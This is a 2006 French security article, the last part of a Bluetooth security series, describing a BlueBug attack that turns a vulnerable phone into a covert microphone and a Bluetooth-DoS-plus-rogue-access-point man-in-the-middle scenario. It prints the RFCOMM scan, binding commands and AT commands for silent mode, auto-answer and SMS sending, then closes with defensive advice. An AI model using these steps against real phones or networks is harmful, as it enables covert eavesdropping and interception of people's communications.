[Dossier Sécurité Bluetooth - partie 5] Scénarios d'attaques & synthèse

Par Pierre Betouin, secuobs.com
Le 05/02/2006

---

Résumé : Vous trouverez ici deux scénarios d'attaques combinant différentes technologies (BluePrinting, Btscanner, Social Engineering, Scanner HF), désaction d'un point d'accès Wifi via Bluetooth ainsi que la synthèse du dossier sur la sécurité de Bluetooth. - Lire l'article



Vous trouverez ici deux scénarios d'attaques combinant différentes technologies (BluePrinting, Btscanner, Social Engineering, Scanner HF), désaction d'un point d'accès Wifi via Bluetooth ainsi que la synthèse du dossier sur la sécurité de Bluetooth.


Premier scénario : Téléphone-micro

Le scénario suivant -- malheureusement très réaliste -- consiste à exploiter une vulnérabilité de type BlueBug ( lien ) dans le but de transformer un cellulaire en micro de poche de façon entièrement transparente pour la victime. Les conséquences d'une telle exploitation pourraient évidemment se révéler très lourdes.

L'attaquant cherchera dans un premier temps à récolter un maximum d'informations concernant le téléphone cible. La première information cruciale est le modèle du téléphone, disponible bien souvent avec le nom Bluetooth du périphérique, ou par une prise d'empreinte (fingerprinting) passive du terminal distant (cf. lien outil de prise d'empreinte Bluetooth).

* En cas de succès, sur un téléphone vulnérable, l'attaque peut se mener directement et sans aucune alerte car les ports RFCOMM "ouverts" sont connus sur de nombreux modèles ;

* En cas d'echec de l'identification du terminal, une recherche exhaustive des services disponibles via une recherche SDP sera effectuée, suivie d'un scan des ports RFCOMM (cf. lien scanner L2CAP et RFCOMM).

L'attaque perdra en furtivité car une alerte s'affichera sur le terminal pour les ports RFCOMM nécessitant une authentification. Ce n'est cependant pas critique pour l'attaquant car rares sont les téléphones alertant de façon sonore d'une tentative de connexion Bluetooth (demande de pairing).

La plupart du temps, l'échange de données Bluetooth est uniquement notifié par une mise en surbrillance de l'icone associée au protocole.

L'attaque BlueBug est alors menée sur le port concerné :

# rfcomm_scan -s 1 -e 17 00:80:37:ZZ:ZZ:ZZ
rfcomm: 01 closed
rfcomm: 02 closed
rfcomm: 03 closed
rfcomm: 04 closed
rfcomm: 05 closed
(...)
rfcomm: 17 open

# rfcomm bind 0 00:80:37:ZZ:ZZ:ZZ 17
# cu -l /dev/rfcomm 0

connected

Les commandes AT permettent ensuite d'accéder au terminal (lecture/envoi de SMS, carnet d'adresses, activation des modes, émission d'appels...). L'attaquant cherchera à connaître quelques éléments de configuration du téléphone :

ATI5

Configuration Settings on Channel 0
&C: 1
&D: 0
+CGACT: 1,0+CGACT: 2,0+CGACT: 3,0+CGACT: 4,0+CGACT: 10,0
+CGATT: 1
+CGEREP: 0,0
+CGQMIN: 1,0,0,0,0,0+CGQMIN: 2,0,0,0,0,0+CGQMIN: 3,0,0,0,0,0+CGQMIN: 4,0,0,0,0,0
+CGQREQ: 1,0,0,0,0,0+CGQREQ: 2,0,0,0,0,0+CGQREQ: 3,0,0,3,0,0+CGQREQ: 4,0,0,3,0,0
(...)
S8: 002
V: 1
X: 4

OK

Il activera le mode silencieux (et pourra également désactiver le vibreur), ainsi que la fonction décrochage automatique, généralement utilisée avec les kits "mains libres" :

AT*ESIL=1
OK

ATS0=1
OK

L'étape suivante, incoutournable pour le pirate, sera la récupération du numéro de téléphone de la victime. Selon son style et son besoin en furtivité, il pourra user de plusieurs méthodes, la plus simple étant l'emission d'un appel vers un numéro contrôlé (cabine téléphonique, etc.).

Le social engineering pourrait également être utilisé. Pour élargir le champ de l'article, notamment techniquement, nous détaillerons le cas d'un envoi de SMS vers un terminal contrôlé. Les commandes AT changent sensiblement suivant les constructeurs et les modèles. Voici 2 exemples d'émissions de SMS :

- Depuis un Nokia N70 :

AT+CMGS="+33687XXXXXX"
Envoi du numéro distant
OK

- Depuis un Sony/Ericsson T68i, utilisant un encodage particulier (cf. lien ) :

AT+CMGS=27
0011000AA10687XXXXXX0000FF10C8329BFD065DDF72
361904028140
+CMGS: 83

OK


Figure 6: Utilisation d'un T68i en micro






Comme le montre la figure 6 le T68i se tranforme alors en véritable micro de poche HF, un simple appel faisant alors office de déclencheur.


Second scénario : détournement de trafic WiFi

Quel rapport entre des attaques Bluetooth et des attaques sur le protocole 802.11 ? A première vue aucune, mais de nombreuses appliances désormais fournies par les fournisseurs d'accès Internet supportent, en natif et par défaut, des connexions Bluetooth.

Le nom Bluetooth de l'équipement est en général identique au nom du point d'accès 802.11 (ESSID). Le BSSID et l'adresse Bluetooth sont également parfois identiques.

Les stations s'associent au point d'accès 802.11 correspondant à leur configuration. Si 2 points d'accès similaires sont détectés, elles choisissent le point d'accès le plus puissant (donc souvent le plus proche géographiquement). Cette propriété est pratique pour des raisons de roaming par exemple.

L'attaque présentée consiste à désactiver le signal 802.11 d'un point d'accès afin de prendre le relais et de se glisser au milieu de la communication : il s'agit d'un cas typique de Man in The Middle. Une attaque équivalente peut être menée avec une antenne de forte puissance.

Tous les éléments de la configuration du point d'accès doivent être d'abord recensés :

* ESSID ;
* BSSID ;
* Canal 802.11 ;
* Eventuelle clef WEP : l'attaquant aura pris soin de casser la clef avant de désactiver le point d'accès. Il utilisera par exemple aircrack.

La désactivation du point d'accès s'effectuera avec une attaque de DoS Bluetooth. En effet, certains équipements testés ont totalement crashé (et non juste leurs piles Bluetooth) après passage du fuzzer BSS ( lien ).

Une fois l'AP légitime neutralisé, l'AP -- semblable en tous points -- sera activé par l'attaquant : tous les clients qui étaient associés sur l'ancien équipement vont alors migrer vers le nouveau.


Conclusion du dossier

Les protocoles utilisés dans la technologie Bluetooth ont été développés en prenant en compte des problématiques liées à la sécurité. Les problèmes résident en grande partie dans les implémentations qui en ont été faites.

Des "bugs" tels que le BlueBug ne doivent plus être acceptés par les utilisateurs : l'erreur est tellement grave que nous pouvons même nous interroger : s'agit-il réellement d'une erreur ? Des traps cryptographiques ou des backdoors ont déjà été révelées, il est normal de douter...

En fonction du contexte d'utilisation du périphérique et du niveau de sécurité requis, il peut être nécessaire de désactiver le Bluetooth sur le périphérique. Si seulement 40% des utilisateurs de téléphones mobiles considérent que les informations stockées sur leurs terminaux sont confidentielles, la totalité d'entre eux se soucie du montant de leur facture en fin de mois !

La recherche en sécurité sur ces technologies est relativement récente mais les attaques sont déjà nombreuses et touchent déjà une grande partie des périphériques. La forte instabilité des piles Bluetooth engendrera indéniablement de nouvelles attaques, mais gageons que les constructeurs se montreront plus soucieux de la sécurité de leurs clients et soigneront leurs développements.

Contrairement à ce que pensent de nombreuses personnes, la menace est bien réelle : si acheter sur Internet inquiète encore (parait-il) la majorité des internautes, activer le Bluetooth sur un périphérique vulnérable relève de la naïveté.

La prochaine fois que vous irez boire un café dans un lieu fréquenté, regardez autour de vous, mais surtout... désactivez votre connexion Bluetooth ! ;)

------------------

Site de l'auteur sur lien



Autres ressources sur la sécurité Bluetooth :

[Dossier Sécurité Bluetooth - partie 1] Introduction aux technologies Bluetooth lien

[Dossier Sécurité Bluetooth - partie 2] Présentation des utilitaires Bluetooth lien

[Dossier Sécurité Bluetooth - partie 3] Les attaques génériques lien

[Dossier Sécurité Bluetooth - partie 4] Les attaques d'implémentations lien

[Infratech - vulnérabilité] PoC pour le DoS sur les téléphones portables Sony/Ericsson lien

[Infratech - vulnérabilité] Déni de Service sur les téléphones mobiles Sony/Ericsson lien

[Infratech - vulnérabilité] PoC pour le DoS sur hcidump lien

[Infratech - vulnérabilité] Déni de Service sur hcidump lien

[Infratech - release] BSS - Bluetooth Stack Smasher v0.6 lien